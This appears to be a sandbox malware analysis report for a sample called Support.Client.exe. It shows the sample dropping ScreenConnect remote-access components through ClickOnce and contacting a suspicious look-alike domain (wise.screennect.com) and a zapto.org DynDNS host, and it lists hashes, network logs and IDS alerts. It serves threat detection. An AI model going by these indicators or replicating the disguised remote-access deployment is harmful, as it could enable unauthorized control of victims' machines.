6212	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\L9N7ADNG.L8D\KJW8VT53.HXA\ScreenConnect.Windows.dll		executable
		MD5:9AD3964BA3AD24C42C567E47F88C82B2	SHA256:84A09ED81AFC5FF9A17F81763C044C82A2D9E26F852DE528112153EE9AB041D0
6212	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\L9N7ADNG.L8D\KJW8VT53.HXA\ScreenConnect.WindowsClient.exe		executable
		MD5:1778204A8C3BC2B8E5E4194EDBAF7135	SHA256:600CF10E27311E60D32722654EF184C031A77B5AE1F8ABAE8891732710AFEE31
6212	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\L9N7ADNG.L8D\KJW8VT53.HXA\ScreenConnect.ClientService.dll		executable
		MD5:5DB908C12D6E768081BCED0E165E36F8	SHA256:FD5818DCDF5FC76316B8F7F96630EC66BB1CB5B5A8127CF300E5842F2C74FFCA

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	200	23.54.109.203:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D	unknown	—	—	whitelisted
—	—	GET	200	23.54.109.203:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D	unknown	—	—	whitelisted
6212	dfsvc.exe	GET	200	23.54.109.203:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxXWRM3y5nP%2Be6mK4cD08CEAitQLJg0pxMn17Nqb2Trtk%3D	unknown	—	—	whitelisted
6212	dfsvc.exe	GET	200	23.54.109.203:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSRXerF0eFeSWRripTgTkcJWMm7iQQUaDfg67Y7%2BF8Rhvv%2BYXsIiGX0TkICEAuTYAUbzPZmQpmJmNW6l84%3D	unknown	—	—	whitelisted
2736	svchost.exe	GET	200	23.48.23.159:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted
2736	svchost.exe	GET	200	184.30.21.171:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted
6212	dfsvc.exe	GET	200	23.54.109.203:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D	unknown	—	—	whitelisted
5872	SIHClient.exe	GET	200	184.30.21.171:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl	unknown	—	—	whitelisted
4120	backgroundTaskHost.exe	GET	200	23.54.109.203:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D	unknown	—	—	whitelisted
644	WerFault.exe	GET	200	184.30.21.171:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
2736	svchost.exe	4.231.128.59:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
4	System	192.168.100.255:137	—	—	—	whitelisted
4804	RUXIMICS.exe	4.231.128.59:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
4712	MoUsoCoreWorker.exe	4.231.128.59:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
5064	SearchApp.exe	104.126.37.147:443	www.bing.com	Akamai International B.V.	DE	whitelisted
4	System	192.168.100.255:138	—	—	—	whitelisted
—	—	23.54.109.203:80	ocsp.digicert.com	AKAMAI-AS	DE	whitelisted
6212	dfsvc.exe	51.79.171.167:443	wise.screennect.com	OVH SAS	SG	suspicious
—	—	20.190.160.17:443	login.live.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted
—	—	23.35.238.131:443	go.microsoft.com	AKAMAI-AS	DE	whitelisted

DNS requests

Domain	IP	Reputation
settings-win.data.microsoft.com	4.231.128.59 20.73.194.208	whitelisted
www.bing.com	104.126.37.147 104.126.37.130 104.126.37.146 104.126.37.128 104.126.37.153 104.126.37.131 104.126.37.137 104.126.37.145 104.126.37.139	whitelisted
ocsp.digicert.com	23.54.109.203	whitelisted
google.com	142.250.185.78	whitelisted
wise.screennect.com	51.79.171.167	unknown
login.live.com	20.190.160.17 20.190.160.130 20.190.160.20 40.126.32.136 20.190.160.132 20.190.160.22 20.190.160.3 20.190.160.67	whitelisted
go.microsoft.com	23.35.238.131	whitelisted
crl.microsoft.com	23.48.23.159 23.48.23.194 23.48.23.145 23.48.23.158 23.48.23.176 23.48.23.141 23.48.23.193 23.48.23.156 23.48.23.177 23.48.23.169 23.48.23.147 23.48.23.143 23.48.23.180 23.48.23.173	whitelisted
www.microsoft.com	184.30.21.171	whitelisted
kangs.zapto.org	51.79.171.167	unknown

Threats

PID	Process	Class	Message
6212	dfsvc.exe	Misc activity	ET INFO Observed ZeroSSL SSL/TLS Certificate
2192	svchost.exe	Potentially Bad Traffic	ET DYN_DNS DNS Query to DynDNS Domain *.zapto .org
1944	ScreenConnect.ClientService.exe	Potential Corporate Privacy Violation	REMOTE [ANY.RUN] ScreenConnect Server Response

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Process	Message
dfsvc.exe	* Status originated: -1073741811 * Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
dfsvc.exe	* Status originated: -1073741811 * Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
dfsvc.exe	* Status originated: -1073741811 * Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
dfsvc.exe	* Status originated: -1073741811 * Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
dfsvc.exe	* Status originated: -1073741772 * Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\win32\isoreg_direct.cpp, line 1127
dfsvc.exe	* Status originated: -1073741811 * Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
dfsvc.exe	* Status originated: -1073741772 * Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\win32\isoreg_direct.cpp, line 1127
dfsvc.exe	* Status originated: -1073741811 * Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
dfsvc.exe	* Status originated: -1073741811 * Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
dfsvc.exe	* Status originated: -1073741811 * Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230

General Info

Support.Client.exe

D136A1AE0D1B4F72E666A66C2710471D

9DF763CAF0C34C672F1BCB5C76BE98D9144D7F4F

413AF194827348246DC73776CD5E47573CF9895D4D0801887AF4F607C0A7402D

1536:ohNeDLHPUVkKo2cgigKIhTnH2QjCdqQsWQcdUkBbfqNNK:vDLHcVkKo2cZgKIhTH2U+lU2bfq

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

SCREENCONNECT has been detected (SURICATA)

SUSPICIOUS

Reads security settings of Internet Explorer

Adds/modifies Windows certificates

Executable content was dropped or overwritten

The process creates files with name similar to system file names

Checks Windows Trust Settings

Reads Internet Explorer settings

Reads the date of Windows installation

Executes as Windows Service

Creates or modifies Windows services

Screenconnect has been detected

SCREENCONNECT mutex has been found

Potential Corporate Privacy Violation

Connects to unusual port

Executes application which crashes

INFO

Reads the computer name

Checks supported languages

Reads the machine GUID from the registry

Create files in a temporary directory

Creates files or folders in the user directory

Checks proxy server information

Process checks whether UAC notifications are on

Reads the software policy settings

Process checks computer location settings

Reads Environment values

Disables trace logs

Malware configuration

Static information

TRiD

EXIF

EXE

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings